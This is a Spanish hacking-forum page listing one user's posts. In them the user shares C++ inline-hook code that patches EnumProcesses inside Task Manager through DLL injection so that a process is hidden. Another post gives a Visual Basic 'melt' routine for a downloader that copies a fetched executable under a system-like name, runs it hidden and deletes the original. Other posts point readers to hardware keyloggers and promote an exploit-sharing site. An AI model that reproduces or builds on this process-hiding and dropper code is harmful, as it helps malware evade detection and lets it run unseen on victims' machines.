Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - HaX991

#31
Programación C/C++ / Re: API Hooking (C++)
12 Julio 2010, 16:51 PM
Bueno las declaraciones y protipos de las funciones estan correctas, son estas.


BOOL WINAPI EnumProcesses_Hook  (DWORD*, DWORD, DWORD*);
BOOL (__stdcall *pEnumProcesses)(DWORD*, DWORD, DWORD*);


mm la idea es inyectar una dll al taskmgr.exe para modificar el resultado de la api "EnumProcesses" y ocultar un proceso, probe antes con la api "TerminateProcess" y va de lujo, la de terminateprocess son 5 bytes y se hookea bien y sirve todo perfect, pero al poner la otra algo en el hook ago mal k cuando la inyecto al llamar el taskmgr.exe (admin de tareas) a esa api entones falla y salta el tipico error de la memoria no se puede leer....

pero lo raro esk si hookeo la api "FindNextFileA" o "FindNextFileW" ambas de 7 bytes de salto sirve perfecto pero enumprocesses no...

EI: lo siento pero las reglas prohiben dejar binarios.
ai van el inyector y la dll.

abrir el admin de tareas, luego el inyector y poner "taskmgr.exe" e inyectarla, si pongo 7 bytes no peta pero tampoco hace nada el admin sirve = y eso k puse en la  funcion falsa


BOOL WINAPI EnumProcesses_Hook (DWORD *pProcessIds, DWORD cb, DWORD *pBytesReturned) {
  return false;
}



alguna solucion?
#32
Programación C/C++ / Re: API Hooking (C++)
12 Julio 2010, 15:34 PM
esta es la funcion:


bool Hook(char* lpLib, char* lpModule, int iBytes, BYTE *ucDstAddress, HOOK_ADDR *hook) {
   HMODULE hLib;

   hLib = GetModuleHandle(lpLib);
   if (hLib) {
      BYTE *ucSrcAddress;
      ucSrcAddress = (BYTE *) GetProcAddress(hLib, lpModule);

      if (ucSrcAddress) {
         DWORD ulOldProtect;
if ((Buffer = (BYTE *) malloc(iBytes + 5)) == NULL) return 0;
         if (VirtualProtect((void *) Buffer, iBytes + 5, PAGE_EXECUTE_READWRITE, &ulOldProtect) == 0) return 0;

         memcpy(Buffer, ucSrcAddress, iBytes);

         Buffer += iBytes;
         *Buffer = 0xE9;
         Buffer++;
         *((signed int *) Buffer) = ucSrcAddress - Buffer + (iBytes - 5) + 1;

         if (VirtualProtect((void *) ucSrcAddress, iBytes, PAGE_EXECUTE_READWRITE, &ulOldProtect) == 0) return 0;

         hook->ulDstModAddr = (unsigned long) ucDstAddress;
         *ucSrcAddress = 0xE9;
         ucSrcAddress++;
         *((signed int *) ucSrcAddress) = ucDstAddress - ucSrcAddress - 4;

         FlushInstructionCache(GetCurrentProcess(), NULL, NULL);

         strcpy(hook->lpLib, lpLib);
         strcpy(hook->lpModule, lpModule);
         hook->uiBytes = iBytes;
         hook->ulSrcModAddr = (unsigned long) ucSrcAddress;

         return true;
  }
   }
   return false;
}

y se usaria asi:


  ret = Hook("psapi", "EnumProcesses", 7, (BYTE *) EnumProcesses_Hook, &addr);
  pEnumProcesses = (BOOL (__stdcall *)(DWORD*, DWORD, DWORD*)) (Buffer - 7 - 1);


saludos!!
#33
Programación C/C++ / Re: API Hooking (C++)
12 Julio 2010, 15:09 PM
gracias pero probe desde 5,7,9,18,20 y peta igalmennte ...

si hookeo otra api va de lujo pero esa no se como hacerlo...

yo creo k son 7bytes pero k tengo k recalcular la distancia de salto...

#34
Programación C/C++ / API Hooking (C++)
12 Julio 2010, 14:40 PM
hola estoy auyudando a un amigo a parhear una api pero intentamos de todo y no lo logramos..

lib  = psapi.dll
api = EnumProcesses

La api comienza aqui:
76BB3A9A > $ 6A 1C PUSH 1C
76BB3A9C . 68 C83BBB76 PUSH psapi.76BB3BC8
76BB3AA1 . E8 5BDBFFFF CALL psapi.76BB1601
76BB3AA6 . BE 00800000 MOV ESI,8000
76BB3AAB . 8975 E4 MOV DWORD PTR SS:[EBP-1C],ESI
76BB3AAE . 56 PUSH ESI
76BB3AAF . 8B3D B810BB76 MOV EDI,DWORD PTR DS:[<&KERNEL32.LocalAl>; kernel32.LocalAlloc
76BB3AB5 . EB 25 JMP SHORT psapi.76BB3ADC

cuantos bytes abria que cojer?

pd: usamos dll inyeccion

Gracias, saludos!!
#35
Foro Libre / Libreria de codes & manuales
15 Mayo 2010, 17:47 PM
Hola a todos!

Estoy realizando un proyecto y me gustaria k ustedes participaran. El proyecto es el siguiente:

Estoy realizando una web de descarga y subida de codigos fuente de cualkier lenguaje y manuales de todo tipo relacionado con el hacking. La idea es crear algo parecido a milworm pero solo para codes y manuales. Cada user tendra una cuenta, para obtenerla ai dos formas: 1º inscribirse aora mientras realizo la web en la pagina http://proyect991.es o 2º una vez montado todo k algun user mande una invitacion al otro para poder acceder (es para k no se llene de lammers k entran lo bajan todo y se van). Ademas estara un poco limitado para evitar lo comentado anteriormente, para k entre alguno lo baje todo y no entre mas, por ello el limite de descarga dependera de cada user, por su participacion.

Cada uno de los users podra subir archivos de forma simultanea pero para que eso archivos subidos sean aprobados deberan supervisarce por algun moderador o administrador y luego se pocedera a agregarse a la libreria. Todo esta super ordenado y limpio. Solo se puede subir o bajar en .rar o .zip y todo el contenido esta en esos formatos tambien para descargar.

Y dentro de los compimidos solo podran ir: .pdf, .txt, .doc... (+ las extensiones de los codigos fuentes) pero nada de extensiones ejecutables.

Todo el k kiera unirse al proyecto k entre aki: http://proyect991.es, donde encontrara mas informacion y para inscribirse ai k rellenar el formulario del final.

De entrada yo mismo subire las cosas k tengo (unos 25 gb entre manuales y codigos fuente de todo tipo)

El k se pregunte el porque ago esto, es facil, nose ustedes pero ami siempre me "jodio" estar buscando por 20.000 webs para buscas un code o manual o algo por necesidad y perder muxo tiempo buscando y mirando en muchas webs, por eso creo k a mas de 1 le gustara la iniciativa xk serian algo mas directo al = k milworm dedicado a shellcodes, exploits y demas...

Espero k os guste la idea a todos, amm y no creo k haya k decir k esto es GRATIS - FREE!!.

Gracias a todos, os esperamos alli.

PD: Espero k esto no se considere spamm, o si lo considerais no es mi itencion solo quiero compartir con ustedes mis cosas.
#36

La funcion MELT la deberia llevar programada ya el archivo a descargar y cuando lo ejecutes se autoborrara sino tambien puedes hacer que el downloader haga la tarea.

Te pongo un codigo en VB:

Código (vb) [Seleccionar]
Private Declare Function CopyFileA Lib "Kernel32" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function DeleteFileA Lib "Kernel32" (ByVal lpFileName As String) As Long
Private Declare Function WinExec Lib "Kernel32" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long

Private Function Melt(ByVal sEXEPath As String, byval sNewPath as string) As Boolean
dim lRet as long
      If sNewPath <> sEXEPath Then
         lRet = CopyFileA(sEXEPath, sNewPath, False)
         If lRet = 0 Then Melt = False: Exit Function
      End If
      '//Esta funcion se usa teniendo en cuenta que el archivos que se va a iniciar es una aplicacion,
      '//para archivos de texto o fotos o otra cosa es "ShellExecute".
      lRet = WinExec(sNewPath, 0&) '//0&= Seria el tipo de inicio (0=Oculto, 1=Normal...)
      If lRet > 31 Then Melt = False: Exit Function
      lRet= DeleteFileA (sEXEPath)
      If lRet = 0 Then Melt = False: Exit Function
      Melt = True
End Function


El funcionamiento es el siguiente:

El programa copia el archivo descargado (sEXEPath) en la ruta donde la indiques, la ruta completa  (sNewPath) con el nombre del nuevo archivo tambien ejemplo: C:\Windows\Calc.exe, y despues lo ejecuta desde alli y borra el archivo descargado. Esto se haria de otra manera si se implementa en el codigo del archivo a bajar y no en el downloader.

Espero que te sirva!!!  :D
#37
karcrack muy bueno tu manual pero ese metodo es muy utilizado. Si alguien esta interesado en hacer un Keylogger por hardware, k estaria bastantes interesante construirse uno propio, visiten esta pagina web: www.keelog.com donde se explica como fabricarse su propio keylogger por hardware pero solo para teclados PS/2 y si quieren uno para teclados USB pueden comprarlo en esa pagina, o intentar crear uno.
#38
Cita de: aaronduran2 en 19 Agosto 2009, 23:30 PM
aaronduran2 lo k intentas acer (multiple downloader) si es posible hacerlo solo tienes k adaptar el codigo en un modulo de clase y crear un array como l k ace la clase cSocketPlus pues igual.